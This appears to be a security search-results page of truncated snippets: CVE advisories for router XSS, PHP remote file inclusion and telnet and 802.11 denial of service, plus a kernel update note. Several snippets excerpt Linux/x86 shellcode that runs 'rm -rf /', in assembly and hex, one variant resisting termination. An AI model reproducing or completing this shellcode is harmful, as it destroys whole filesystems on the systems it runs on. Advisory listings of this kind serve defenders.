Update Protection against Cisco IOS Administrative Interface HTTP Authentication

Cisco Wireless LAN Controllers WLCs are responsible for system-wide wireless LAN functions, such as security policies, intrusion prevention, RF management, quality of service QoS, and mobility. An attacker with access to the administrative web interface via HTTP or HTTPS may cause the device to...

kernel security and bug fix update

2.6.18-128.1.6.0.1.el5 - NET Add entropy support to e1000 and bnx2 John Sobecki,Guru Anbalagane orabug 6045759 - MM shrink zone patch John Sobecki,Chris Mason orabug 6086839 - NET Add xen pv/bonding netconsole support Tina yang orabug 6993043 bz 7258 - nfs convert ENETUNREACH to ENOTCONN Guru...

Linux/x86 - execve("rm -rf /")

No description provided by source. / By Kris Katterjohn 11/18/2006 45 byte shellcode to execve"rm -rf /" for Linux/x86 section .text global start start: ; execve"/bin/rm", "/bin/rm", "-r", "-f", "/", NULL , NULL push byte 11 pop eax cdq push edx push byte 0x2f mov edi, esp push edx push word 0x66...

linux/x86 rm -rf / attempts to block the process from being stopped

No description provided by source. / x86 linux rm -rf / which attempts to block the process from being stopped 132 bytes written by onionring / main char shellcode = "\x31\xC0" // xor eax, eax "\x89\xC3" // mov ebx, eax "\x89\xC1" // mov ecx, eax "\x41" // inc ecx "\xB0\x30" // mov al, 0x30 ;...

linux/x86 - rm -rf / attempts to block the process from being stopped

linux/x86 rm -rf / attempts to block the process from being stopped. Shellcode exploit for linx86 platform / x86 linux rm -rf / which attempts to block the process from being stopped 132 bytes written by onionring / main char shellcode = "\x31\xC0" // xor eax, eax "\x89\xC3" // mov ebx, eax...

CVE-2008-1258

CVE-2008-1258 is a cross-site scripting (XSS) vulnerability in the D-Link DI-604 router, affecting prim.htm via the rf parameter. Remote attackers could inject arbitrary web script/HTML through rf. The provided documents confirm the affected product and vulnerability mechanism; no remediation det...

CVE-2008-1258: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in prim.htm on the D-Link DI-604 router allows remote attackers to inject arbitrary web script or HTML via the rf parameter...

CVE-2008-0152: Improper Restriction of Operations within the Bounds of a Memory Buffer

SLnet.exe in SeattleLab SLNet RF Telnet Server 4.1.1.3758 and earlier allows user-assisted remote attackers to cause a denial of service crash via unspecified telnet options, which triggers a NULL pointer dereference. NOTE: the crash is not user-assisted when the server is running in debug mode...

CVE-2008-0152

SLnet.exe in SeattleLab SLNet RF Telnet Server 4.1.1.3758 and earlier allows user-assisted remote attackers to cause a denial of service crash via unspecified telnet options, which triggers a NULL pointer dereference. NOTE: the crash is not user-assisted when the server is running in debug mode...

SeattleLab SLNet RF Telnet服务器空指针引用拒绝服务漏洞

BUGTRAQ ID: 27134 SLNet RF是Windows平台下的Telnet服务器软件。 SLNet RF处理异常的流程存在问题，远程攻击者可能利用此漏洞导致服务器不可用。 如果出现了异常的话SLNet服务器会显示一个消息框，当管理员点击该消息框时服务器会终止（服务器以调试模式运行时会自动终止）。在这种情况下处理telnet选项期间所出现的异常就会导致空指针引用。 SeattleLab SLNet RF = 4.1.1.3758 SeattleLab ---------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

linux/x86 execve(rm -rf /) shellcode 45 bytes

Exploit for linux/x86 platform in category shellcode ============================================= linux/x86 execverm -rf / shellcode 45 bytes ============================================= / By Kris Katterjohn 11/18/2006 45 byte shellcode to execve"rm -rf /" for Linux/x86 section .text global sta...

CVE-2006-1959: Undefined Security Weakness

PHP remote file inclusion vulnerability in direct.php in ActualScripts ActualAnalyzer Lite 2.72 and earlier, Gold 7.63 and earlier, and Server 8.23 and earlier allows remote attackers to execute arbitrary code via a URL in the rf parameter...

CVE-2004-0459

The Clear Channel Assessment CCA algorithm in the IEEE 802.11 wireless protocol, when using DSSS transmission encoding, allows remote attackers to cause a denial of service via a certain RF signal that causes a channel to appear busy aka "jabber", which prevents devices from transmitting data...

CVE-2004-0459

The Clear Channel Assessment CCA algorithm in the IEEE 802.11 wireless protocol, when using DSSS transmission encoding, allows remote attackers to cause a denial of service via a certain RF signal that causes a channel to appear busy aka "jabber", which prevents devices from transmitting data...

CVE-2004-0459

CVE-2004-0459 concerns the Clear Channel Assessment (CCA) in IEEE 802.11 using DSSS. The vulnerability arises in the CCA algorithm that can be exploited by a remote attacker transmitting a crafted RF signal to make the channel appear busy, causing denial of service and preventing wireless devices...

CVE-2004-0459: Undefined Security Weakness

The Clear Channel Assessment CCA algorithm in the IEEE 802.11 wireless protocol, when using DSSS transmission encoding, allows remote attackers to cause a denial of service via a certain RF signal that causes a channel to appear busy aka "jabber", which prevents devices from transmitting data...